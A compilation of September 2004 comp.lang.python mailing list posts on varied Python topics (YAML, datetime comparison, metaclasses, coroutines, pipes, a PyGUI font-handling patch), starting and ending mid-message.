library for Python, if only so I could try it out and find out what
YAML *is* good for, in my environment. In theory, I like YAML - it's
just the practicalities that elude me.

[Later]
I just re-read some of the YAML website. It appears clear from there
that YAML is designed as a serialisation format. But there seems to
be a lack of justification as to *why* the design goals (section 1.1
of the spec) are important. Also, security is *not* an explicit goal,
and section 3.1.6 (the "Construct" process) is completely lacking in
any discussion of the security or other implications of converting a
YAML file to a native language object. This seems somewhat surprising
in a specification for a serialisation format...

Paul.
-- 
Home computers are being called upon to perform many new functions,
including the consumption of homework formerly eaten by the dog --
Doug Larson


From peter at engcorp.com  Wed Sep 22 15:32:00 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Sep 2004 15:32:00 -0400
Subject: detecting variable types
In-Reply-To: <cisjhb$6kr$1@news-int.gatech.edu>
References: <cisjhb$6kr$1@news-int.gatech.edu>
Message-ID: <Y-WdnWCkPIytTszcRVn-vQ@powergate.ca>

Jay wrote:
> I'm sure this is a really dumb question, but how do you detect a variable
> type in Python?
> 
> For example, I want to know if the variable "a" is a list of strings or a
> single string. How do I do this?

Use the builtin function "type()", but note the following:

1. Variables don't actually have types in Python (and they're usually
called "names" in Python, for various reasons), but the data they are
currently bound to does have a type and that's what type() returns.
Often the distinction won't matter to you...

2. Most of the time people trying to do what you are probably trying
to do are going about things the wrong way, often from experience
with other languages.  Lots of Python folks would be happy to introduce
you to "better" ways to do things, if you'll explain the use case
and tell us what you're actually trying to accomplish.  (Of course,
using "type()" will work, but it's rarely considered the best
approach in the Python community.)

-Peter


From zathras at thwackety.com  Tue Sep 14 06:36:05 2004
From: zathras at thwackety.com (Michael Sparks)
Date: Tue, 14 Sep 2004 11:36:05 +0100 (BST)
Subject: Another worthless decorator syntax suggestion
In-Reply-To: <da72c17d.0409140145.3a22cc70@posting.google.com>
Message-ID: <Pine.LNX.4.44.0409141132540.27701-100000@pingu.thwackety.com>

On 14 Sep 2004, Larry Hastings wrote:

> I didn't see this form of decorator syntax listed on the Python
...
> Behold:
>
> 	def foo(a, b),
> 	classmethod,
> 	synchronized,
> 	martinized:
> 		pass

Interesting choice of keyword... ;-)

> I look forward to seeing the final decision of our BDFL on this subject,
> as I suspect I will agree with it.

He gave it - the pies win. Guido gave a very good/nice summary of why as
well:
   * http://mail.python.org/pipermail/python-dev/2004-September/048518.html

Best Regards,


Michael.




From hat at se-126.se.wtb.tue.nl  Wed Sep  8 11:11:40 2004
From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp)
Date: Wed, 8 Sep 2004 15:11:40 +0000 (UTC)
Subject: PHP Documentation
References: <4133124f$0$281$4d4ebb8e@news.nl.uu.net>
	<wpednS2Tk8udsa7cRVn-og@powergate.ca>
	<VeidneVL2-tD2q7cRVn-sw@speakeasy.net>
	<kO-dnSCAsqfSx67cRVn-vA@powergate.ca>
	<pICdnUiWKv479q7cRVn-vA@speakeasy.net>
Message-ID: <slrncju89b.8jt.hat@se-126.se.wtb.tue.nl>

Nice discussion here. I am also attracted to the PHP doc system, for the
moment mainly for internal documentation.

On Mon, 30 Aug 2004 13:02:14 -0500, A.M. Kuchling <amk at amk.ca> wrote:
> On Mon, 30 Aug 2004 12:48:13 -0400, 
>> Wikis can be useful for maintaining documentation, but so far
>> I've seen it succeed only in very limited instances, and in this
>> case without top level support (e.g. recognition by the official
>> doc maintainers that this is now the master copy) I really doubt
>> it will get far.  Feel free, anyone, to prove me wrong.

Ok, let me try :-)
[ For clarity:
  I am not an editor of anything, except my own documentation
]

Roughly, there are 4 groups of users:

- People that do not read docs.

- People that read docs, and do not comment on it.

- People that read docs, and write useless comments (useless w.r.t. an
  editor, for example 'I don't understand this section')

- People that read docs and write useful comments.

The first two groups are not interesting (maybe the first group is, to
some extent but that is a different discussion).

The latter group are people that an editor wants to spend time on.
Typically (I imagine, I am not an editor), you get feedback about
specific points in the docs, or (even better) complete patches which can
be integrated.

The third group is for an editor mainly waste of time. Without any more
details, you cannot figure out what is wrong, so fixing is difficult at
best.


The current system where everybody can submit reports and patches to the
docs using the sourceforge project stops most people of the third group
(at least, I hope it does for the sake of our editors), and very little
of the 4th group (writing down the specific points or writing a patch is
much more effort than submitting it as a bug to the sourceforge
project).
[ at least, it didn't stop me submitting changes ]

By lowering the treshold for submitting changes, you will get more
response, but imho mostly from the 3rd group, not the 4th group. I.e you
create more work, but not better patches/feedback.


> I can't see the Wiki version ever becoming the master copy; Wiki markup is
> much less detailed than the LaTeX macros, e.g. in the Wiki you can only put
> things in ``code-style``, but in the LaTeX you have \member{} and
> \constant{} and \keyword{} and many other different shades of meaning.

There are some other considerations as well. I rely on the docs asif it
is the voice of our beloved BDFL, ie I assume that they tell the one and
only truth.
If you allow anyone to edit anything, this may go wrong in a very
serious way.

Also, there are (unwritten?) agreements that anything undocumented may
change or disappear at any time, and anything documented changes very
slowly if at all. That means that somebody in charge should give the
green light before new parts get documented.
I believe that such agreements are good; by using documented calls, I
get some limited form of guarantuee that code I write will not cease
working suddenly.

In other words, I am not convinced that we'd want public write access to
the documents.


Having said that, a workable solution can be constructed quite easily
(isn't Open Source wonderful?).

Anyone can copy the doc source, put them at his own server, and serve
the pages to browsers all over the world and collect comments either in
PHP style or in Wiki style.  Then, the owner of the server can browse
the collected comments, makes them edible for our source documentation,
and submit the patches to the bug tracker. I am sure that the doc
editors are happy to integrate any such patches to the existing source
documents.
If this works well, you (the server owner doing the editing work)
a) attract more users than the main documentation.
   Since you get modifications, you can publish them before the official
   documents. That should make your site more attractive than the official
   one.
b) get enough credit of the editors that at some point you may get write
   access to the source documents (ie you can then eliminate the bug
   report step),
c) may convince our editors that having an interactive doc modification
   system is indeed an improvement.
and possible some other advantages as well.

> It probably wouldn't be difficult to take the HTML rendering of the docs and
> automatically import them into an empty Wiki instance that could then be
> updated.  Will anyone volunteer to do this?

One aspect I am interested in, is how do you know what is updated? Is
there some underlying version control system, or does the wiki keep
track of modifications?
(I know what wiki is, but I haven't played with any yet).

Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.


From tim.peters at gmail.com  Tue Sep 14 17:16:58 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 14 Sep 2004 17:16:58 -0400
Subject: comparing datetime with date
In-Reply-To: <ci6m1f$goq$1@sea.gmane.org>
References: <ci6m1f$goq$1@sea.gmane.org>
Message-ID: <1f7befae04091414167f3b37d4@mail.gmail.com>

[Donnal Walter]
> I was very surprised to discover that
> 
> >>> import datetime
> >>> x = datetime.date(2004, 9, 14)
> >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15)
> >>> print x == y
> True
> 
> How can these two objects be considered equal?

They should not be.  Please open a bug report.  The problem is due to that 
datetime.datetime is a subclass of datetime.date:

>>> isinstance(y, datetime.date)
True
>>>

and date's comparison implementation believes that instances of date 
subclasses can be compared as if they *were* dates.  Indeed, since a datetime.
datetime is-a datetime.date, it's a bit hard to see why that shouldn't be 
allowed, and offhand I don't know of a principled way to fix this without 
breaking existing code that compares instances of user-defined subclasses of 
datetime.date to instances of datetime.date.


From andre.roberge at ns.sympatico.ca  Mon Sep  6 20:25:37 2004
From: andre.roberge at ns.sympatico.ca (Andr? Roberge)
Date: 6 Sep 2004 17:25:37 -0700
Subject: i18n and GUI under Windows
Message-ID: <f06d8508.0409061625.10440451@posting.google.com>

In short: I'm looking for a *simple* example of how to write a program
that can have its GUI in at least two languages under Windows ...
using only Python, of course!

I've downloaded Guido van Robot (great program!) so that my kids could
learn the basics of programming.  Apparently it is set up to work in
French under *nix, but not under Windows.  I've looked at the source
code, found where this is noted, scratched my head, looked at the web
to find solution, to no avail. GvR uses wxPython.

On the wxWidget website, it is said that there is a "internat" sample
program, that would seem to do what I'm looking for, but it doesn't
seem to be in the wxPython distribution.

I haven't found any simple demonstration with Tkinter either (or
Pythoncard, anygui, easygui, etc...).   Sigh....

I *think* I understand the basics of unicode encoding (at the very
least, enough to have been able to modify Leo [another great program!]
to work properly on my machine [actually, it was well explained on the
web site]).

Any pointer, or sample program (like those found in useless Python)
demonstrating how this can be done would be appreciated.  So, how do
you write a program that can display on a label (or menu item) either
"Guido" or "Andr?"  (Andre&acute;) depending on the user's choice.  
[Ok, that's not a good translation, but still :-)]

I am not a real programmer, just a hobbyist.  However, if I can get
enough pointers to answer my question within the next week, I commit
myself to:
1) write a detailed tutorial in both French and English, explaining
how to do this in a way even I can understand :-)
2) find a way to modify GvR so that it works in languages other than
English on Windows.

Hey, I've already installed Poedit in anticipation of all the
translations I am going to do ;-)

Andr? Roberge


From grante at visi.com  Fri Sep 24 07:42:03 2004
From: grante at visi.com (Grant Edwards)
Date: 24 Sep 2004 11:42:03 GMT
Subject: file read, binary or text mode
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
Message-ID: <4154080b$0$80686$a1866201@newsreader.visi.com>

On 2004-09-24, Guyon Mor?e <gumuz at NO_looze_SPAM.net> wrote:

> what is the difference?

42?

> if I open a text file in binary (rb) mode, it doesn't matter... the read()
> output is the same.

OK...

-- 
Grant Edwards                   grante             Yow!  They
                                  at               collapsed... like nuns
                               visi.com            in the street... they had
                                                   no teenappeal!


From aleaxit at yahoo.com  Sun Sep  5 16:53:56 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 5 Sep 2004 22:53:56 +0200
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<roy-FE1D07.08200705092004@reader1.panix.com>
	<chf1e4$u84$03$1@news.t-online.com>
	<roy-D04C66.10354305092004@reader1.panix.com>
Message-ID: <1gjnwv2.jj0hvbov5tc1N%aleaxit@yahoo.com>

Roy Smith <roy at panix.com> wrote:

> I asked:
> > How is a class instance's mutability any less of disqualifier for
> > key-ness than a list's mutability?
> 
> Benjamin Niemann <pink at odahoda.de> wrote:
> 
> > a = [1, 2, 3]
> > b = [1, 2, 3]
> > if a == b:
> >     print "List equality is based on content"
> 
> Tuple (and string) equality is based on content too.  So what?  I can
> give my data class an __eq__ method, and then my class instance equality
> would also based on content.

And your class's instances wouldn't then be hashable any more unless
they defined a __hash__ method -- have you tried?

 
> So, to restate my original question, why should my mutable, 
> content-based-eqality class instance be a valid dictionary key, when a
> list is not?  Which part of a list's behavior makes it inherently 
> unusable as a key?  I'm not asking about design philosophy, I'm asking
> about observable behavior.

This was discussed in detail in another thread about 2 days ago, I
believe.  That thread started by somebody asking why modules were
hashable (could be keys in a dictionary).


Alex


From flavell at ph.gla.ac.uk  Mon Sep  6 18:55:28 2004
From: flavell at ph.gla.ac.uk (Alan J. Flavell)
Date: Mon, 6 Sep 2004 23:55:28 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <opsdxecgt8pqzri1@mjolner.upc.no>
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no>
Message-ID: <Pine.LNX.4.61.0409062355010.20478@ppepc56.ph.gla.ac.uk>

On Tue, 7 Sep 2004, John Thingstad wrote:

> It was the realization of www (CERN) that spawned the movement toward the
> Internet.

Eh?



From thinmanj at gmail.com  Wed Sep  1 17:31:09 2004
From: thinmanj at gmail.com (=?ISO-8859-1?Q?Julio_O=F1a?=)
Date: Wed, 1 Sep 2004 17:31:09 -0400
Subject: negative stride list slices
In-Reply-To: <318a5f1a040901142310b94710@mail.gmail.com>
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>
	<r7oZc.6653$MR2.32885@news1.mts.net> <2pmj4aFmofl2U1@uni-berlin.de>
	<evqZc.6862$MR2.33137@news1.mts.net>
	<9LOdnaw-DsKUoavcRVn-vg@powergate.ca>
	<318a5f1a040901142310b94710@mail.gmail.com>
Message-ID: <318a5f1a040901143134f13188@mail.gmail.com>

http://www.python.org/doc/2.3.4/whatsnew/section-slices.html

There is more information on extended slicing

Regards.

On Wed, 1 Sep 2004 17:23:18 -0400, Julio O?a <thinmanj at gmail.com> wrote:
> Slice has three arguments, [begin:end:step]
> 
> when doing s[:-3:-1] you are asking the las to elements of the list in
> reversed order.
> 
> regards.
> 
> 
> 
> On Wed, 01 Sep 2004 17:15:51 -0400, Peter Hansen <peter at engcorp.com> wrote:
> > Reid Nichol wrote:
> >
> > > This was the part that I was refering to:
> > >
> > >  +---+---+---+---+---+
> > >  | H | e | l | p | A |
> > >  +---+---+---+---+---+
> > >  0   1   2   3   4   5
> > > -5  -4  -3  -2  -1
> > >
> > > Does it not all work the same in practice?
> >
> > Can you explain how the above diagram explains David's
> > example then:
> >
> > >>> s = 'HelpA'
> > >>> s[:-3:-1]
> > 'Ap'
> >
> > I don't find much connection between the diagram and
> > where the -3 is actually slicing either.
> >
> > -Peter
> >
> >
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >
> 
> 
> --
> Julio
> 


-- 
Julio


From irmen at -nospam-remove-this-xs4all.nl  Mon Sep 27 15:22:48 2004
From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong)
Date: Mon, 27 Sep 2004 21:22:48 +0200
Subject: Metaclass to make all methods of a class thread-safe
In-Reply-To: <4edc17eb.0409270141.4faf130c@posting.google.com>
References: <415728eb$0$78753$e4fe514c@news.xs4all.nl>
	<4edc17eb.0409270141.4faf130c@posting.google.com>
Message-ID: <41586889$0$568$e4fe514c@news.xs4all.nl>

Michele Simionato wrote:
> Irmen de Jong <irmen at -nospam-remove-this-xs4all.nl> wrote in message news:<415728eb$0$78753$e4fe514c at news.xs4all.nl>...
[...]
>>Is this the right approach? It seems to work fine. But I have
>>very little experience with metaclass programming, so I'd like
>>to hear some feedback.
>>
>>Thanks !!
>>
>>--Irmen de Jong.
> 
> 
> Well, it looks okay, but consider the following:
> 
> 1. you have a (metaclass) static method and a (metaclass) classmethod
>    which could be replaced by simple functions external to the metaclass;
>    this would make the code much easier to read and to understand; I don't
>    buy the argument that they should logically stay in the metaclass, it
>    is enough if they stay in the same module of the metaclass, not inside it;

Agreed, I was just modeling it after some example metaclass code that I found
on ASPN cookbook. The metaclass itself will only be a few lines then :-)

> 2. the metaclass will automagically wrap even methods of subclasses, without
>    you knowing it; consider using a naming convention (es. only methods
>    starting with "t_" are magically wrapped); if still
>    you want the magic, consider defining a name convention such as methods
>    starting with a given prefix are NOT magically wrapped; 

This is good advice. I started by not wrapping methods with '__' prefix...

> 4. built-in methods and all the objects which are non instances of FunctionType
>    will be not wrapped; you may want this or not;

Built-in methods such as?
About the other objects: I only cared about wrapping class methods.
Shouldn't I have / should I use something else than FunctionType?

There is one thing though; methods that you're accessing trough the
class's __dict__ (which is what the meta class is doing, right?)
are of type <function>, rathar than <instancemethod> which I expected:

 >>> class A:
...  def meth(self): pass
...
 >>> type(A.meth)
<type 'instancemethod'>
 >>> type(A.__dict__['meth'])
<type 'function'>
 >>>

Why is this?


> 5. consider using decorators to wrap the methods you want to be
>    thread safe: they a more esplicit and easier to understand solution;
>    also in this way you will avoid the (possible) issue of metaclass 
>    conflicts.

No decorators, nooo sir, it must work on Python 2.3 too :)

> 6. However, if you want to enhance a code which is already written
>    with a minimal change of the source code, the metaclass is the 
>    simplest solution indeed.

Thanks for your comments, Michele.

--Irmen


From peter at engcorp.com  Wed Sep  1 08:25:27 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Sep 2004 08:25:27 -0400
Subject: sys.stdin.readline()
In-Reply-To: <ch4d9m$77f5$1@netnews.upenn.edu>
References: <367a4461.0408311221.30866c09@posting.google.com>
	<HBF.20040831jd9s@bombur.uio.no> <ch31jd$6l3u$1@netnews.upenn.edu>
	<1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com>
	<ch4d9m$77f5$1@netnews.upenn.edu>
Message-ID: <P6OdnXrEGY8kIqjcRVn-rA@powergate.ca>

Mike Maxwell wrote:

> Alex Martelli wrote:
>> Mike Maxwell <maxwell at ldc.upenn.edu> wrote:
>> No, I think you're correctly observing that Python isn't oriented to
>> one-liners -- not at all.  Most interesting things in Python require
>> more than one line.  
> 
> <rant>
> I don't care whether it's "interesting", I just want to get some work 
> done.  And since most of the text processing tools in Unixes that I 
> would otherwise use (grep, sed, tr) don't support Unicode, and are 
> inconsistent in their regular expression notation to boot, it would be 
> nice if I could write regex operations in a single, consistent 
> programming language.  Python is a single, consistent programming 
> language, but as you say, it doesn't lend itself to one-liners.
> </rant>

Most of us who do this conclude that our potential one-liner
is actually likely to be re-used, and we write the Python
three-liner equivalent in a file.  Later on, we typically find
that it has grown to seventeen lines and we don't particularly
mind the slight extra inconvenience of having to put the
initial code in a file instead of trying to retype it each
time we need it.

-Peter


From fakeaddress at nowhere.org  Thu Sep 16 01:25:00 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Thu, 16 Sep 2004 05:25:00 GMT
Subject: Microthreads without Stackless?
In-Reply-To: <18282ecb.0409151755.47b691e2@posting.google.com>
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
Message-ID: <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>

M.E.Farmer wrote:
 > Wow!,
 >     Provocative = Tending to provoke or stimulate.
[...]
 > I noticed you tend to be quite critcal of others.

I noticed you take no interest in whether criticism
is valid.

 > Did you notice the OP asked for:
 >     microthreads
 >     using generators and threads
 >     The devil, however, is in the scheduler's details

Absolutely.  And I followed up your post that said Mertz
covered this.

 > What I posted was about as close as you get.
 >     'Implementing "weightless threads" with Python generators.'
 >     I have not studied or used that code.
 >     I hoped it would be of use as inspiration for his scheduler.
 >     If nothing else it would show how not to do it.
 >     Mertz never said they were like real threads or coroutines.
 >     Where did you get that?
 >     I know it breaks your heart there aren't coroutines in Python.
 >     But get a grip on reality.

Hold, on, let me see ... you have an actual technical
disagreement with my saying Mertz was wrong, specifically you
say, "Mertz never said they were like real threads or
coroutines". Mertz wrote:

     These are not true coroutines in the sense that control
     only branches to and from the scheduler() function, but for
     practical purposes, one accomplishes the same thing with
     very little extra code.

Mertz certainly is saying they are like co-routines, and he
seems to think the major difference is in the scheduler.  I
think he's wrong: the key difference is switching from anywhere,
not just one-call-down.

 >     I know it breaks your heart there aren't coroutines in Python.

Kind of.  I haven't lost hope.  In addition to the Python
extensions, the Perl 6 project is designing the interpreter so
it can support multiple languages, specifically including
Python.  It may become a compelling platform, enabling Perl,
Python and Ruby to share libraries, and providing continuations
and co-routines in the deal.


 >     We have got generators(semi-coroutines),
 >     and others have mentioned it **is** doable.

Another technical point, but here I'm not sure what 'it' refers
to.

 >>Well, the Erlang (language + telecom platform) uses light-weight
 >>threads which could e.g. be implemented with coroutines in Python.
 >
 > Bryon wrote:
 > Well, the issue here is whether they could be implemented
 > reasonably in Python as it currently is, with generators
 > but not co-routines.
 > """
 > Why didn't you post a link to the other thread?

First, I thought I could make the point more clearly here.
Second, I found that thread hard to follow, because the OP's
replies kept appearing threaded under the first post.

 > Did you notice the other people that responded are the ones
 > from the other thread?

Uh, somewhat.  In that thread, a number of people made the key
point: the major difference between generators and co-routines is
that co-routines can switch at any call-depth.

 > Since you gave me your opinion I will share mine. [...]

Mine were technical.  Yours are personal.


-- 
--Bryan


From bokr at oz.net  Tue Sep 28 20:15:33 2004
From: bokr at oz.net (Bengt Richter)
Date: 29 Sep 2004 00:15:33 GMT
Subject: re-entering in the normal flow after an exception is raised
References: <4edc17eb.0409280817.27ef4f43@posting.google.com>
Message-ID: <cjcur5$3pa$0$216.39.172.122@theriver.com>

On 28 Sep 2004 09:17:07 -0700, michele.simionato at gmail.com (Michele Simionato) wrote:

>I think I want "re-entrant exceptions" (not sure if this is the
>correct name).
As Alex said, resumable is the usual word, I think.
>
>Consider the following example:
>
>class NotSeriousException(Exception):
>    pass
>
>def do_this():
>    raise NotSeriousException()
>
>def do_that():
>    pass
>
>def do_this_and_that():
>    do_this()
>    do_that()
>
>Since the exception is raised at the do_this() level, do_that() will
>not be executed. However, since the exception is not that serious, I
>would like to catch it and continue from the point the exception was
>raised, i.e. something like that:
>
>try:
>    do_this_and_that()
>except NotSeriousException:
>    continue # does not work of course
>
>where "continue" would continue from do_that().
>
>Is there some elegant or hackish way to get this?
Hacks will probably bite you later, though I think they're fine
for one-time throwaway code that you really throw away.

I wonder if you could interfere with exception unwinding via sys.settrace.
I believe you can get control at each frame as the exception propagates,
but I don't know what can be done. I think you would take a big performance hit though.

>Notice that I do NOT want to modify the source code of
>do_this_and_that.
>It comes from real life code and I could modify it, but if there was
>some
>smarter way of getting what I want I would be interested ...
Maybe think about smart ways to modify?

It comes to mind that you might have functions call a complain function
instead of directly raising exceptions, if you want to customize or parameterize
by seriousness or other criteria. E.g., (untested)

    def complain(kind, exc, *args):
        if kind in globalconfigdict: raise exc(*args)

    def dothis():
        complain('not so serious', NotSeriousException, 'args', 'for', 'exception')

Just an idea. You could also make complain a callable object with various methods for
configuring behaviour easily etc. etc. Just .02USD off the top of my head ;-)

Regards,
Bengt Richter


From __peter__ at web.de  Tue Sep 28 07:58:57 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 28 Sep 2004 13:58:57 +0200
Subject: breaking up a list
References: <cjbggn$alv$1@ucsnew1.ncl.ac.uk>
Message-ID: <cjbjm1$ubg$03$1@news.t-online.com>

> If I have a list, say
> 
> x=[1,2,3,4,5,6]
> 
> What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]],
> i.e. splitting it into pairs.

I like

>>> x = [1, 2, 3, 4, 5, 6]
>>> it = iter(x)
>>> zip(it, it) 
[(1, 2), (3, 4), (5, 6)]

even after posting it several times before :-) Use map(list, zip(it, it)) if
you need lists instead of tuples.

Michele Simionato has posted a generalized version of this recipe:
http://mail.python.org/pipermail/python-list/2004-May/222673.html

Peter



From whereU at now.com  Sun Sep 19 15:40:37 2004
From: whereU at now.com (Eric Pederson)
Date: Sun, 19 Sep 2004 11:40:37 -0800
Subject: Documentation? file/open with tea
Message-ID: <20040919114037.208539021.whereU@now.com>

WryPyY's-

I've come across this file operation in others' code and have not seen any documentation for it: the use of "t" in the mode of file opening, such as:

f1=open(somefile, 'at')
f2=open(otherfile, 'rt')

[to be clear, I am talking about 't' tea, not '+' plus]

Is this merely another shorthand for a binary mode, or is there more going on with 't'?

Also, is this still a valid mode going forward, or has it been deprecated?


TIA



>>> f=open("C:\somepath\All_domain_suffixes.txt",'rt')
>>> f.read()
'\xa0.ac \xa0|\n\xa0.ad \xa0|\n\xa0.ae \xa0|\n\xa0.aero \xa0|\n\xa0.af \xa0|\n\xa0.ag \xa0|\n\xa0.ai \xa0|\n\xa0.al \xa0|\n\xa0.am \xa0|\n\xa0.an \xa0|\n\xa0.ao \xa0|\n\xa0.aq \xa0|\n\xa0.ar \xa0|
[... etc.]


Eric
:::::::::::::::::::::::::::::::::::
domainNot="@something.com"
domainIs=domainNot.replace("s","z")
ePrefix="".join([chr(ord(x)+1) for x in "do"])
mailMeAt=ePrefix+domainIs
:::::::::::::::::::::::::::::::::::


From remy.blank_asps at pobox.com  Thu Sep 23 12:32:19 2004
From: remy.blank_asps at pobox.com (Remy Blank)
Date: Thu, 23 Sep 2004 18:32:19 +0200
Subject: unittest: new reporting category "skipped"
In-Reply-To: <698f09f8.0409230740.18bc9185@posting.google.com>
References: <mailman.3772.1095935910.5135.python-list@python.org>
	<698f09f8.0409230740.18bc9185@posting.google.com>
Message-ID: <ciutqk$ib5$1@sea.gmane.org>

Jeremy Fincher wrote:
> Even if it doesn't get accepted into Python proper, I'll take a copy
> and put it with my project -- I already provide my own unittest.py

I was wondering, is it worth modifying unittest.py directly and
provide a patch, or should I just extend its functionality in a
separate file, and provide that one?

> that I hacked to show the total number of asserts (I was curious one
> day, and it's turned out to be a remarkably useful thing to have,
> since my tests-upon-tests can hide unreaonable numbers of assertions
> which otherwise would go unnoticed (except as a general slowness of
> the test suite).

Interesting idea. What do you use the assertion count for?

-- Remy


Remove underscore and suffix in reply address for a timely response.



From exarkun at divmod.com  Thu Sep 30 11:27:24 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Thu, 30 Sep 2004 15:27:24 GMT
Subject: thread execution order
In-Reply-To: <cjh1hd$rek$03$1@news.t-online.com>
Message-ID: <20040930152724.29723.1887173415.divmod.quotient.8416@ohm>

On Thu, 30 Sep 2004 15:33:06 +0200, "Axel Mittendorf" <newsreply at transfertech.de> wrote:
>Hi, I have an app that writes text messages into a pipe and reads it out.
> Other programs write into this pipe too. Sometimes the pipe is full and
> my app freezes if it wants to write in that moment. It is not an option
> for me to open the pipe with O_NONBLOCK, so I thought I could
> use threads. Always when something shall be written into the pipe a new
> thread is created. These threads may hang on os.write, but they'll write out
> the data ASAP.
> See the example below (I substituted os.write with lock.acquire(1)).
> But if the pipe was full, three threads were created (all hang on os.write)
> and
> now the pipe is emptied, which one will write its data at first? The threads
> ordered by the time of thier creation (first no 1 then no 2,3,4 ... n) or
> just one of them
> (not ordered, maybe no4 then no1 and then no3)?
> I ask this since the order of the messages is important.

  The order is non-deterministic.  It will depend on such things as your platform, the underlying thread library, the load on the system at the time, and even how quickly or slowly the process reading the pipe actually reads, among other things.

  Could you explain why it is not an option to use a non-blocking pipe?

  Jp


From tolot at jupiter.solar-empire.de  Tue Sep 21 17:29:25 2004
From: tolot at jupiter.solar-empire.de (Marc Christiansen)
Date: Tue, 21 Sep 2004 23:29:25 +0200
Subject: Fontproblems with PyGUI and gtk 2.4.10
Message-ID: <l2j622-mrr.ln1@halut.solar-empire.de>

Hi!

After some installation problems related to PyGUI (well, indirectly -- I
had to install new versions of: freetype, fontconfig, xft2 (from
fcpackage.2_1.tar.gz, because the latest xft2 won't compile with X4.2.0)
(which needed a patch to Xft.h because apparently the #include-style of
freetype did change), GLib, Pango, ATK, GTK+ and pygtk) I ran the
scripts from Tests and there were problems that text was cut off or
textfields were not tall enough (e.g. 09-textfield.py). I did some
digging and found the cause. The problem is in the line

  gdk_font = gdk.font_from_description(self._pango_description)

in Fonts.Font._get_gdk_font(). In gtk 2.4.10 gdk_font_from_description
calls gdk_font_from_description_for_display in gdkfont-x11.c, which
contains the line 

  return gdk_font_load_for_display (display, "fixed");

So regardless what font is wanted, the fixed font gets loaded. The big
problem here is that some widgets use a different font but use
Font.width(), get_height() etc. for layout. Of course this give wrong
values (e.g. get_height() always returns 13, width(s) always 6*len(s)).

It looks as if Fonts.py has to be ported to fully use pango. For
get_ascent, get_descent (btw. the gdk_font based version returns ascent)
and get_height there is code which seems to work, it is just commented
and some small changes must made. But rewriting width() and x_to_pos() to
use pango seems to be not easy. At least I see no obvious way to do it.
But this change really should be made because all the GdkFont functions
are declared obsolete in the gtk+ documentation.

I've attached a patch for two small typos in Fonts.py

--- Fonts.py.orig       Tue Sep 21 23:08:28 2004
+++ Fonts.py    Tue Sep 21 23:12:43 2004
@@ -45,7 +45,7 @@
         return self._pango_description.get_family()
     
     def get_size(self):
-        return self.self._pango_description.get_size()
+        return self._pango_description.get_size()
     
     def get_style(self):
         style = []
@@ -60,7 +60,7 @@
         return self._get_gdk_font().ascent
     
     def get_descent(self):
-        return self._get_gdk_font().ascent
+        return self._get_gdk_font().descent
 
     def get_height(self):
         gdk_font = self._get_gdk_font()

and here one to change get_ascent, get_descent and get_height to pango

--- Fonts.py.orig	Tue Sep 21 23:18:54 2004
+++ Fonts.py	Tue Sep 21 23:15:09 2004
@@ -10,6 +10,7 @@
 class Font(GFont):
 
     _gdk_font = None
+    _pango_metrics = None
 
 #	def _from_gdk_font(cls, gdk_font):
 #		font = cls.__new__(cls)
@@ -56,15 +57,15 @@
             style.append('italic')
         return style
     
-    def get_ascent(self):
-        return self._get_gdk_font().ascent
-    
-    def get_descent(self):
-        return self._get_gdk_font().descent
-
-    def get_height(self):
-        gdk_font = self._get_gdk_font()
-        return gdk_font.ascent + gdk_font.descent
+#    def get_ascent(self):
+#        return self._get_gdk_font().ascent
+#    
+#    def get_descent(self):
+#        return self._get_gdk_font().descent
+#
+#    def get_height(self):
+#        gdk_font = self._get_gdk_font()
+#        return gdk_font.ascent + gdk_font.descent
     
     def _get_gdk_font(self):
         gdk_font = self._gdk_font
@@ -73,26 +74,26 @@
             self._gdk_font = gdk_font
         return gdk_font
 
-#	def get_ascent(self):
-#		pfm = self._get_pango_metrics()
-#		return pfm.ascent
-#	
-#	def get_descent(self):
-#		self._get_pango_metrics()
-#		return self._descent
-#	
-#	def get_height(self):
-#		self._get_pango_metrics()
-#		return self._ascent + self._descent
-#	
-#	def _get_pango_metrics(self):
-#		pfm = self._pango_metrics
-#		if not pfm:
-#			pfm = _pango_context.get_metrics(self._pango_description)
-#			self._pango_metrics = pfm
-#			self._ascent = pfm.ascent / pango.SCALE
-#			self._descent = pfm.descent / pango.SCALE
-#		return pfm
+    def get_ascent(self):
+    	self._get_pango_metrics()
+    	return self._ascent
+    
+    def get_descent(self):
+    	self._get_pango_metrics()
+    	return self._descent
+    
+    def get_height(self):
+    	self._get_pango_metrics()
+    	return self._ascent + self._descent
+    
+    def _get_pango_metrics(self):
+    	pfm = self._pango_metrics
+    	if not pfm:
+    		pfm = _pango_context.get_metrics(self._pango_description)
+    		self._pango_metrics = pfm
